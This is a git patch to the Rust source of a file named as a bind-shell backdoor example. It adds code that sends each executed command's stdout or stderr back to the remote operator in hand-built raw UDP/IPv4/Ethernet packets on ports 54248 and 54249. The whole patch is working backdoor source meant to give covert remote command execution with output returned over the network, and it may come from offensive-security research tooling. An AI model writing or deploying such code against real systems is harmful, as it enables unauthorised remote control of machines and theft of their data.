From 40d105b043f0d79bc472777007e39a97378967c8 Mon Sep 17 00:00:00 2001 From: Andrew Rioux Date: Fri, 28 Apr 2023 17:30:17 -0400 Subject: [PATCH] feat: added command response --- examples/bind-shell/backdoor/src/main.rs | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/examples/bind-shell/backdoor/src/main.rs b/examples/bind-shell/backdoor/src/main.rs index 8436dc1..a6240ff 100644 --- a/examples/bind-shell/backdoor/src/main.rs +++ b/examples/bind-shell/backdoor/src/main.rs @@ -135,6 +135,18 @@ async fn handle_command( Output::Err => stderr_buffer, Output::Out => stdout_buffer }[..len]; + let port = match out_type { + Output::Err => 54249, + Output::Out => 54248 + }; + + let udp_packet = UDPPacket::construct(54248, port, msg); + let ip_packet = IPv4Packet::construct(ip_pkt.dest_ip(), ip_pkt.source_ip(), &Layer4Packet::UDP(udp_packet)); + let eth_packet = EthernetPacket::construct(*eth_pkt.destination_address(), *eth_pkt.source_address(), &Layer3Packet::IPv4(ip_packet)); + + if let Err(e) = send_response.send(eth_packet).await { + log::warn!("Could not send response packet: {e:?}"); + } } log::info!("Done executing command {cmd:?}");